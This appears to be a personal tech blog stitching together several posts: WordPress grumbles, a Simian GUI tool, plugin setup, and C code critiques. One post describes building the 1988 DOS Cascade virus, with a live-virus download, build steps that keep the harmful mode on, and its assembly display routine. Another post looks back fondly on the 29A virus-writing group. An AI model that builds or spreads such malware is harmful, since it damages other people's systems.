WordPress is churning out new versions faster than my C2Duo / Vista machine can boot Don’t believe me? Look at these dates:

As you can see lately there is a new release every 3 months (avg). As a developer, I understand it is always good to code that great/mean feature and ship it out ASAP so that we can watch the customer use it, but as an end-user it *is* very tiresome to constantly keep upgrading every quarter. I don’t know how many times I did that…I am running more than 2 installations (1 for me, 1 for my wife, blah blah…don’t ask me to use WPMU..I did try it!), so whenever I see “A new WordPress version is available” message, I more or less go nuts!

The basic WP architecture has been severely criticized for being too rigid in terms of quick security fixes. See the following excerpt from Wikipedia:

BlogSecurity currently maintains a list of WordPress vulnerabilities.^[8]

In January 2007, many high-profile Search engine optimization (SEO) blogs, as well as many low-profile commercial blogs featuring AdSense, were targeted and attacked with a WordPress exploit.^[9]

A separate vulnerability on one of the project site’s web servers allowed an attacker to introduce exploitable code in the form of a back door to some downloads of WordPress 2.1.1. The 2.1.2 release addressed this issue; an advisory released at the time advised all users to upgrade immediately.^[10]

In May 2007, a study revealed that 98% of WordPress blogs being run are exploitable.^[11]

In a June 2007 interview, Stefen Esser, the founder of the PHP Security Response Team, spoke critically of WordPress’s security track record, citing problems with the application’s architecture that make it unnecessarily difficult to write code that is secure from SQL injection vulnerabilities, as well as other problems.^[12]

98% of the blogs?? Woah….

I hope WordPress core developers fix the basic design flaw (if there was one!) and put together a solid core to the extremely usable exterior, so that many users like me, who are kind of paranoid, stay with WP in the future! Oh, btw, it’d be really nice if they could make the release cycle twice an year!!

I spent a day trying out all it’s options. They have a neat ANT task, as well as an Eclipse plugin for Java developers, while nothing for any of the VisualStudio.NET IDEs! There is a command line tool though, thankfully. I put together a small GUI front end for this tool. Check it out if you are interested. Note that this tool was put together in a very short time and so didn’t go through any proper testing & I don’t intend to put it through one, in the near future. I have used this in my house for 2 days now and it hasn’t crashed yet.

This tool is in public domain and totally free. You can do whatever you want to with the source, though a line of credit will be nice. A post card or an email will be appreciated too. You cannot hold me responsible for any damage caused by this tool or the source code

WinSAG FAQ:

I will keep this updated with any interesting/often repeated questions. Last updated: April 12, 2008 1700 IST

What is WinSAG?

WinSAG is a small Windows utility written in C# 2.0. It acts as a front end GUI for the excellent tool Simian.

Why call this WinSAG?

WinSAG is a bad acronym for “Windows Similarity Analyzer GUI” (I know it sucks, but hey..I wanted to write a tool, not win a naming contest! Any clever name suggestions are welcome, though)

Where to get it?

Click here to download WinSAG v1.0. Don’t be fooled by the v1.0 tag. This is still only Alpha.

What are the SW requirements?

WinSAG needs .NET runtime 2.0. You can get it here. You also need Simian.

How to use it?

It is not actually difficult, trust me. The following pictorial tour should help you setup a project and execute Simian on your source files. For this tour, I used eMule 0.48a source base & Simian 2.2.24. Also, download and unzip the WinSAG from this page in to some directory in your hard disk.

Step 1:

First step is to tell WinSAG where your Simian binary is. Go to the directory where you unzipped WinSAG. Open winsag.exe.config file in notepad. Modify the following fields accordingly.

<setting name=”ToolName” serializeAs=”String”>
<value>simian-2.2.24.exe</value>
</setting>
<setting name=”ToolPath” serializeAs=”String”>
<value>F:\Tools\bin</value>
</setting>
<setting name=”ToolStyleSheet” serializeAs=”String”>
<value>F:\Tools\simian.xsl</value>
</setting>

Fret not, this is a one time activity. Once the values are setup, fire  up WinSAG. Now, choose File => Preferences. You should see the values you put in  here.

The TimeOut value specifies the maximum time (in milliseconds) WinSAG has to wait for Simian to finish its execution. If the specified time elapses, WinSAG forcefully terminates Simian. The default value is 1 minute (or 60sec). Try changing this value if you want WinSAG to give more time to Simian. A “-1″ (negative one) in this field will make WinSAG wait indefinitely.

Step 2:

Lets create a new project. A project file consists of information needed to run Simian (or other similarity analysis tools) again on the specified source files with the specified options. You can save this file and move it to a different computer with WinSAG to do the same operation there.

Choose Project => New.

Choose the directory where you want WinSAG to save this project file. In our example, I named the project file “emuleProject.wsp“. WSP is the standard extension for WinSAG project files.

Step 3:

WinSAG opens up the project properties window. This dialog box is shown whenever you create a new project or whenever you open an existing WinSAG project file. You can set or edit all the Simian options through this box.

For our example, just give a name to the project and specify the eMule source directory.

Step 4:

Now that all the options are set, press Ctrl-F5 or choose Project => Find Duplicates. WinSAG will invoke Simian. While Simian is still running, you will see a progress bar as shown below.

Step 5:

WinSAG collects the results from Simian and shows it in the results window. You can click on any of the links there to move to the proper file.

Note that if WinSAG doesn’t find a XSL (specified through Winsag.exe.config file), it resorts to the embedded simian.xsl. You can specify any XSL for processing the results.

In our example, Simian reports that eMule 0.48a source has around 10% duplicates. Not bad, eh!?

Found a bug. What do I do?

Mail me the details. I’ll look in to it when I get some free time.

Can I get the sources?

Sure. The source files are available via Google Code. Visit http://code.google.com/p/winsag/.

Future plans:

• Make the preferences editable from the GUI
• Support other Similarity Analysis tools.
• Fix the bugs
• Port this to Java (Owner: my wife!)

Download

Executable

Source Code

Gokul, (owner of Port Bit Systems/Trichy, who was my first computer teacher) looked like a hero to me, when he could magically clean the infection by running a command line DOS McAfee. Man,those days were cool! Later when I started learning x86 assembly and DOS internals, I got fully absorbed in to the wonder world of DOS virii. (I still have the first DOS anti-virus program I wrote – “(C) Brain” remover – somewhere in my old HDD). “Computer Viruses: Prevention, detection and cure” by Rajneesh Kapur was my first viruses book; An excellent one! This is out of print now, can’t even find it in the original publishers site.

One virus I fondly remember to this day, is the famous (!?) CASCADE virus (a.k.a Raindrop/17xx). This virus was a non-overwriting, resident COM infector. When triggered it made the characters in the screen fall in to a nice heap at the bottom. (Remember, we were in the command line mode then!). It was kind of cool to see this cascading action.

Cascade was the first virus to use encryption. The virus consisted of two parts – the virus body and an encryption routine. The latter encrypted the body of the virus so that it appeared different in every infected file. After loading the file, control was transferred to the decryption routine which decoded the virus body and transferred control to it. Unlike future polymorphic viruses, Cascade encoded only the body of the virus. The size of the infected file was used as the decryption key. Since the decryption routine remained unchanged, antivirus programs detected the virus with ease.

If you have never seen the virus in action, look at the screen shots below:

I took the above screen shots from an infected machine I setup. Last week, because of some re-orgs in my group (more about this in a later post!), I had enough time to install DOS in a VM & infect it with CASCADE. It actually felt good to use MASM after a long time, to produce the live virus. Triggering the virus (setting the date to 11-30-1988) was a simple thing. If you think all of this is too much work, download the virtual HD from here. (TODO [Mar24,2008]: Link is not up yet. I will upload the VDI somewhere online and update this post. Please do let me know if you know of any reliable online file storing sites. TIA.). BTW, I used the open source VirtualBox for creating the testbed.

Alternatively, download the floppy disk image from here:

It has the floppy img. with live virus & source. You can burn this to a 1.44MB floppy disk (or use a IMG-aware program to open it) after unzipping.

What is in the disk?

I have included the following:

• cascade.asm
  • The source code of the actual virus. This is the cleaned up version that I used for building the virus.
• cascade.com
  • Live virus. Do not execute this in an unprotected system, if you don’t know what you are doing. Be careful.
    
• makehlv.bat
  • Cleaned up (for masm/x2b) make BAT file. Execute this from the prompt to build the virus.
• readme.txt
  • Contains a description of file and SW requirements.

How to build the virus?

I used MASM 6.11d (16bit assembler) along with X2B (EXE -> COM Converter) for building the virus. You also need DOS debug executable for patching up the initial jump (automatically done by makehlv.bat). If you are using exe2bin, you have to modify makehlv.bat accordingly.

Once you have the environment setup, follow these steps:

1. Open cascade.asm. Find “DEMO EQU FALSE” (It should be near line number 13). If you make this “DEMO EQU TRUE”, virus will not exhibit any harmful things. For our purpose, leave it at “DEMO EQU FALSE”.
2. Add “_DANGER EQU TRUE” after this line.
3. Now, execute the following command from the command line to build the virus: makehlv cascade

Virus in action:

Video is always better than a static picture. Don’t you agree? Look at the following video I captured:

I also found another excellent video:

Virus Code:

The actual cascading is implemented in the following INT 1C handler. The function Random is called for obtaining a random screen row and a column. If the character there is not SPACE, it is moved accordingly downwards. Speaker is toggled, which you won’t get to to know if you run this in a VM. The code is pretty self explanatory.

You can get the complete source code here:

XI_048       LABEL   NEAR
XR_009      EQU     XI_048 + PSPsize
 	TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom
 	JZ      XI_049
 	JMP     XI_067
XI_049:      OR      CS:[ISR_Flags],MASK R_in_1c
 	DEC     CS:[XR_002]
 	JZ      XI_050
 	JMP     XI_066
XI_050:     SAVE    DS,ES
 	MOV_S   DS,CS
 	MOV_S   ES,CS
 	SAVE    AX,BX,CX,DX,SI,DI,BP
 	MOV     AL,EOI_8259A
 	OUT     PORT_B_8259A,AL
 	MOV     AX,[XR_003]
 	CMP     AX,0438
 	JNB     XI_051
 	MOV     AX,0438
XI_051:     CALL    Random
 	INC     AX
 	MOV     [XR_002],AX
 	MOV     [XR_003],AX
 	PUSH    DS
 	MOV     AX,BIOSDATASEG
 	MOV     DS,AX
 	MOV     AX,[B_VidPage]
 	POP     DS
 	MOV     [Page_offset],AX
 	MOV     [Last_Line],18
 	MOV     DL,-1
 	MOV     AX,1130
 	MOV     BH,0
 	SAVE    ES,BP
 	INT     10
 	REST    BP,E
 	CMP     DL,-1
 	JZ      XI_052
 	MOV     [Last_Line],DL
XI_052:         CALL    GetSysSpeed
 	MOV     AH,0F
 	INT     10
 	MOV     [Num_of_Col],AH
 	MOV     [Prevent_Snow?],0
 	MOV     [Seg_of_VRAM],MonoBase
 	CMP     AL,07
 	JZ      XI_054
 	JB      XI_053
 	JMP     XI_064
XI_053:         MOV     [Seg_of_VRAM],ColorBase
 	CMP     AL,03
 	JA      XI_054
 	CMP     AL,02
 	JB      XI_054
 	MOV     [Prevent_Snow?],01
 	MOV     AL,[Last_Line]
 	INC     AL
 	MUL     [Num_of_Col]
 	MOV     [Num_of_char],AX
 	MOV     AX,[XR_004]
 	CMP     AX,[Num_of_char]
 	JBE     XI_054
 	MOV     AX,[Num_of_char]
XI_054:         CALL    Random
 	INC     AX
 	MOV     SI,AX
XI_055:         XOR     DI,DI
XI_056:         INC     DI
 	MOV     AX,[Num_of_char]
 	SHL     AX,1
 	CMP     DI,AX
 	JBE     XI_057
 	JMP     XI_064
XI_057:         OR      [ISR_Flags],MASK Recf_1
 	MOV     AL,[Num_of_Col]
 	MOV     AH,0
 	CALL    Random
 	MOV     DL,AL
 	MOV     AL,[Last_Line]
 	MOV     AH,0
 	CALL    Random
 	MOV     DH,AL
 	CALL    Load_from_VRAM
 	CALL    Is_it_blank_?
 	JB      XI_056
 	CALL    Spec_Graphik?
 	JB      XI_056
 	MOV     [Last_Pair],AX
 	MOV     CL,[Last_Line]
 	MOV     CH,0
XI_058:         INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JB      XI_060
XI_059:         CALL    Spec_Graphik?
 	JB      XI_062
 	INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JNB     XI_059
 	CALL    Toggle_Speaker
 	DEC     DH
 	CALL    Load_from_VRAM
 	MOV     [Last_Char],AL
 	INC     DH
XI_060:         AND     [ISR_Flags],NOT MASK Recf_1
 	DEC     DH
 	MOV     AL,' '
 	CALL    Write_to_VRAM
 	INC     DH
 	MOV     AL,[Last_Char]
 	CALL    Write_to_VRAM
 	JCXZ    XI_061
 	CALL    Delay
 	DEC     CX
XI_061:         JMP     XI_058
XI_062:         TEST    [ISR_Flags],MASK Recf_1
 	JZ      XI_063
 	JMP     XI_056
XI_063:         CALL    Toggle_Speaker
 	DEC     SI
 	JZ      XI_064
 	JMP     XI_055
XI_064:         IN      AL,PORT_B_8255
 	AND     AL,0FC
 	OUT     PORT_B_8255,AL
 	MOV     AX,3
 	CALL    Random
 	INC     AX
 	MUL     [XR_004]
 	JNB     XI_065
 	MOV     AX,-1
XI_065:         MOV     [XR_004],AX
 	REST    BP,DI,SI,DX,CX,BX,AX,ES,DS
XI_066:         AND     CS:[ISR_Flags],NOT MASK R_in_1c
XI_067:         JMP     DWORD PTR CS:[Org_Int_1C]

My next target is to try a destructive virus like CIH. I will let you know what happens. Till then enjoy the mesmerizing cascade effect

[Updated: May 16, 2010 - Fixed the download link]

Couple of weeks back, 29A officially shut down business. 29A’s published work was one of the best (IMHO) sources for cutting edge virus technologies. Their e-zines provided a sampling of what was happening in the Virus underground during that period.

This was the last message posted by VirusBuster in their site:

I tried to contact ValleZ for some time in order to take a decision together about the future of 29A with no luck therefore I decided to take the decision alone. And my decision is that 29A goes officially retired. I feel this is fair because I am kinda the alpha and the omega of the group. 29A was born in Dark Node, my BBS, and I am the last active member of the group. My last words as 29A member are for all the people that worked hard to make of this group the best one: Thank you very much! Regards, VirusBuster/29A

29A has left the building!

Kind of sad.

I came to know of 29A when I was in my 2nd year UG, around 1997. 29A was a new group then (If I am right, the group formed only in the mid of 1996). BTW, if you are wondering why they named it so, 29A is the hex representation of 666 decimal.

One of my (crazy, if you ask my wife now!) hobbies back then was collecting DOS/Windows virii source code. I was more interested in the source than the binary. I had close to 23K source files when I decided to move on to other things. There were umpteen number of sites even back then which listed for download many viruses, but most of them were distributed as either EXE or COM files. I used to take them, decompile/disassemble them using SOURCER or debug.exe (I had to use this only for a few files; Sourcer did a good job for the others.) and add to my virus database. I remember checking out a DB tool (VirSort or VirusBuster??) for sometime, but resorted to maintaining them myself (that is, keeping them scattered through out my 4GB HDD ).

Apart from these, lots of VX tutors were there too. I remember some of the tutorials that were considered state-of-the-art (!?) then:

• Advanced Polymorphism Primer by DarkAngel
• Calling the Windows API in Assembly Language by Qark
• MCB Stealth by Darkman

Particularly, I used to devour anything by Dark Angel, Lord Julus & VLAD. How can I ever forget Lord Julus’s "Ring 0 Residency under Windows 95/98" article?? Classic!!

When 29A started releasing their e-zines, it quickly became one of my favorites. I loved all their articles, especially by MrSandman, Benny, VirusBuster, Jacky Qwerty, Vecna & Rajaat - they were my favorites. Issue #4 was, IMO, pure gold!!

Later, when I came out of the college, I lost touch with the VX scene. Register.co.uk & F-Secure’s blog were the only VX news source for me. Though 29A published lots of new things, the following are considered notable accomplishments (?!):

• Cabir, which infected Symbian mobile phones
• Duts, the first ever Pocket PC virus
• Haiku, which generated Japanese-style poetry
• Stream, which was the first virus to take advantage of NTFS Alternate Data Streams
• Lindose, which infected both Windows and Linux computers
• Donut a .NET aware Windows file infector

I have given some links to the interviews (public/through email) of some 29A members below: I will be updating this with more as I find them in the net.

Benny/29A

• Interview with Marek “Benny” Strihavka.

Antivirus companies frequently say that no virus writer should ever have a job in security. What are your views of this opinion?

That is funny. Why? Just because a lot of skilled virus writers already have jobs in the antivirus industry. I don’t want to cause any problems to my friends, so I won’t give concrete examples. But believe me, this is just marketing theater for customers–the truth is a bit different. In any event, who else should code antivirus programs? Who else has the experience and technical skills for fighting viruses? Some antivirus firms say that I have no moral right to do it, but…almost all ex-members and current members of 29A are employed in the antivirus and information technology security industry.

• Another interview with Benny

Ratter/29A

• His articles from InformIT
  • Details Emerge on the First Windows Mobile Virus (Part 1 of 3)
  • Details Emerge on the First Windows Mobile Virus (Part 2 of 3)
  • Details Emerge on the First Windows Mobile Virus (Part 3 of 3)

Look in VDAT or other e-zines for more interviews. Some other random links:

• Some more recent interviews with 29A members. (In Portugese. With MrSandman and GriYo)
• Interview with Jacky Qwerty
• Interview with MrSandMan (Asterix e-zine)
• Trouble for 29A group. Related article here.

Do let me know of any other links related to 29A/members in the comments section. TIA.

As you probably noticed (follow the arrows please! ), the sort hasn’t happened properly. How did the coder miss this? No unit tests funda in Yahoo engineering?? How did the QA team allow this page to go online?

Does this show that Yahoo’s technical pool lacks the depth usually associated with Google’s? I believe not. I think you will find dumbos everywhere. I am pretty sure I can find at least one Google engineer who was not aware of dynamic programming before he got hired. With 16,805 employees worldwide, statistically it is impossible for Google to have everyone in it’s payroll to be the best or even above average. Oops, I am digressing…the topic of the post is not “Hype behind Google” (but that is a nice title…may be I should make a post on this topic one day…hmm!) anyway.

I see a similar trend here in Intel. Intel is huge. Worldwide, it is around 86,000 in number, which is understandable because of all the cool fabrication units and ATMs that Intel owns and operates. Though the average standard of the Intel employees (persons involved with SW/HW) looks good, I have seen some Intel groups really lacking the depth. I have met lots of brilliant and really talented engineers here, and an equal number of (or more!) dumb engineers too. I think when a company grows, especially by acquiring other small companies, it’s initial talent pool will keep getting diluted till it becomes just another company. I believe that is what has happened to Yahoo and that is what will happen to Google (or any other, for that matter) one day.

BTW, the above image is from this link (note that the results may vary now, new reqs get posted daily; Yahoo! India is hiring a lot recently. If you want to dilute the pool, do jump in…just kidding! )

[Snapshot: Tool output]

[Close up of the message]

The tool very helpfully said “Your platform is dead & have a nice day!”. “Have a nice day”??? Though, now I need to take the flash, go to the lab and program it using a flash programmer, I couldn’t help laughing at this cheeky message!

Then, I noticed that the RPC server ping was not working. As you can see from the picture (click to enlarge, the RED ones are the errors), the coolcode.cn is returning a 503. My page just gets blocked for 19-20seconds, trying to get the rpc.php in coolcode to work! The site is obviously down and has taken all my videos down with it, I wonder how many more sites are also affected by this!

Man, how I wish I had installed the RPC server in my machine I couldn’t find a mirror with that zip anywhere. Till I setup my own RPC server, please do bear with the slow loading speed. Thanks.

Update (Mar 16,07 02:07pm IST): Hooray….the site is up and I have downloaded the needed zips

Update (Mar 16,07 03:00pm IST): Ok, I have the RPC setup in my machine now. No more worries.

How to add this hook?

• Open comments.php
• Find the lines of code shown below. You will find it near the end of the file.

<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" /></p>
</form>
<?php // if you delete this the sky will fall on your head
endif; ?>

• Add <?php do_action('comment_form', $post->ID); ?> just above </form> ending tag. Save the file.

This will allow all the plugins that depend on comment_form hook to work properly.

Update (22/03/2007): Latest version 0.9 has been uploaded. This adds support for Blogdesam aggregator.

This plugin is the outcome of spending three days with WordPress and Thamizmanam toolbar code

This plugin inserts automagically the Pathivu toolbar code (both part1 and part2, as listed out here) at proper places. This supports both Thamizmanam and Blogdesam. The plugin adds the code only to SINGLE post pages. Note that, no template file changes are needed. Just install this plugin and everything should be fine!

How to install the plugin?

• Download the file (see the bottom of this post)
• Upload this to your <wordpress_root>/wp-content/plugins folder. NOTE: Replace <wordpress_root> with your WP installation directory.
• Unzip the file to create tbToolbar sub directory, under plugins folder. Overwrite the old files to upgrade. NOTE: Make sure tbToolbar folder is immediately under /wp-content/plugins folder.
• Go to Plugins page in your WP control panel and activate the plugin.
• Now, go to Options > Thamizmanam WP Plugin page. Here you can choose the image for showing in Thamizmanam. You can also leave this blank for the plugin to submit with the default picture.

Thats all!

Screenshots:

This has been tested with WP 2.1, but should work with 2.x with out any problems. I’d love to know if you get this to work with WP 1.5.x versions.

Downloads:

v0.9: [Supports both Thamizmanam & Blogdesam]

v0.6: [Initial version. Supports Thamizmanam]

Change log:

• v0.9 – Supports Blogdesam.com. Added an option page to choose the needed service.
• v0.6a – Alpha release. Allows the user to choose his own picture.

BDLC covers both web and desktop applications. The best part is, it doesn’t assume any prior programming knowledge. I am pretty sure this is a great resource and is gonna boost the Windows developer base exponentially!

Some interesting topics from BDLC

• Web as a platform. The absolute basics of browsers, HTTP et al
• Kids corner
• RSS reader project
• ASP.NET events and postbacks

I have bookmarked some for my wife to go through, this weekend. I am pretty sure I will be directing her to this site more often from now!!

Yesterday, we decided to create our own custom tag library. Sudha wrote a prime number generator tag, a simple TLD and the corresponding taglib entries in web.xml. When deployed, it threw an exception “tag-class not found”. What the heck? Then we noticed our DTD was specifying a wrong version. After a quick fix, we deployed it again. Now, it threw an exception that said “PrimeTags definition not found”. It seemed that the server (weblogic) couldn’t find PrimeTags.class, our Tag handler class. We had it under /WEB-INF/classes. What could be wrong? We wrapped that tag handler in a package and redeployed the same. Now we got another error – “Bad class file. Current version is 49.0, expected is 48.0″, a quick search in Google told us that we are trying to mix java1.5 & java1.4 compiled binaries. Resetting the java_home / path variables to point to jdk1.4 solved the problem!!

Now the question is, why couldn’t the server pick up our class file when not packaged??

Why get a string, representing the rule category from GUI, instead of just an integer??

—[ Code snippet ]———————————————————————-

// Rule category obtained from GUI
#define RULECATEGORY_1 “Type 1 Rules”
#define RULECATEGORY_2 “Type 2 Rules”
#define RULECATEGORY_3 “Type 3 Rules”
#define RULECATEGORY_4 “Type 4 Rules”
#define RULECATEGORY_5 “Type 5 Rules”
#define RULECATEGORY_6 “Type 6 Rules”
#define RULECATEGORY_7 “Type 7 Rules”
#define RULECATEGORY_8 “Type 8 Rules”

// Constants indicating the rule category
#define CR_1 0
#define CR_2 1
#define CR_3 2
#define CR_4 3
#define CR_5 4
#define CR_6 5
#define CR_7 6
#define CR_8 7
#define CR_9 8

int InitiateRuleChecking (
ORD4 start_index,
ORD4 stop_index,
ORD2 num,
char *category,
ChkStruct &bool_struct,
ORD4 array_size
)
{

int tempCategory = -1;
if(strcmp(category, RULECATEGORY_1) == 0)
{
tempCategory = CR_1;
}
else if(strcmp(category, RULECATEGORY_2) == 0)
{
tempCategory = CR_2;
}
else if(strcmp(category, RULECATEGORY_2) == 0)
{
tempCategory = CR_3;
}
else if(strcmp(category, RULECATEGORY_3) == 0)
{
tempCategory = CR_4;
}
else if(strcmp(category, RULECATEGORY_4) == 0)
{
tempCategory = CR_4;
}
else if(strcmp(category, RULECATEGORY_5) == 0)
{
tempCategory = CR_5;
}
else if(strcmp(category, RULECATEGORY_6) == 0)
{
tempCategory = CR_6;
}
else if(strcmp(category, RULECATEGORY_7) == 0)
{
tempCategory = CR_7;
}
else if(strcmp(category, RULECATEGORY_8) == 0)
{
tempCategory = CR_8;
}
else
{
// Category not defined
AssertErr(“Category requested by user not found “);
return -1;
}

// Remaining code…

}

—[ End snippet ]———————————————————————-

define MONTHS_SIZE 12

typedef struct __monthNoPair
{
char *strNoMonth;
char *strMonthName;
} monthNoPair;

static monthNoPair months[] = {
("1", "January"),
("2", "February"),
("3", "March"),
("4", "April"),
("5", "May"),
("6", "June"),
("7", "July"),
("8", "August"),
("9", "September"),
("10", "October"),
("11", "November"),
("12", "December")

};

char *getMonthFromData(int noMonth)
{
int i;

for (i=0; i < MONTHS_SIZE; i++)
{
if (atoi(months[i].strNoMonth) == noMonth)
return strdup(months[i].strMonthName);
}
return NULL;
}

If a security firm is not hiring a seasoned hacker, it is akin to a country’s intelligence agency refusing information from an opponent’s intelligence agent! Antivirus companies say that the skills needed for writing security software is completely different from that needed for writing malicious code. This may be true in some cases, but I cannot accept the statement as such. C’mon, if I know how to exploit a vulnerability, surely you can make use of that knowledge to fix that vulnerability, in the first place, right?? You write your software, give it to the fellow, whose job is to crack it somehow….He will be pretty effective at it than a 10 man testing team & a Quality assurance expert!! It all boils down to how you make use of the talent, IMHO. Anyhow, congrats & all the best, Benny!

If you are a mobile developer, this is a great opportunity to showcase your product

http://www.microsoft.com/india/windows/mobile/contest/windows4mobile/

http://www.codeguru.com/Cpp/V-S/devstudio_macros/versioncontrol/article.php/c3129

This solution makes use of Application_BeforeBuildStart() handler to increment the RC VERSIONINFO. The Build # is incremented even for failed builds.

http://www.codeproject.com/cpp/rcversion.asp

Not exactly an auto-increment solution. This allows you to enter the version info during the build process.

http://www.codeguru.com/Cpp/V-S/devstudio_macros/article.php/c3183

Another solution posted in CodeGuru. It is assignable to any key and when invoked it updates the RC “FileVersion” field and does “BuildToggleBuild”.

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q237870

Solution posted by MS. The autoincrementing code is attached to Application_BuildFinish(). It updates a #define in versionno.h which is included by the user resource file (RC2) .

http://www.flipcode.com/cgi-bin/msg.cgi?showThread=Tip-AutomaticBuildVersion&forum=totd&id=-1

I haven’t tried this. But, the author claims to combine the best of MS & Codeguru (second one) solutions.

I used a modified version of the solution from MS (mine didn’t update the RC; instead it updated a H file that was included across the project). If there is a neat/effective solution for this, let me know.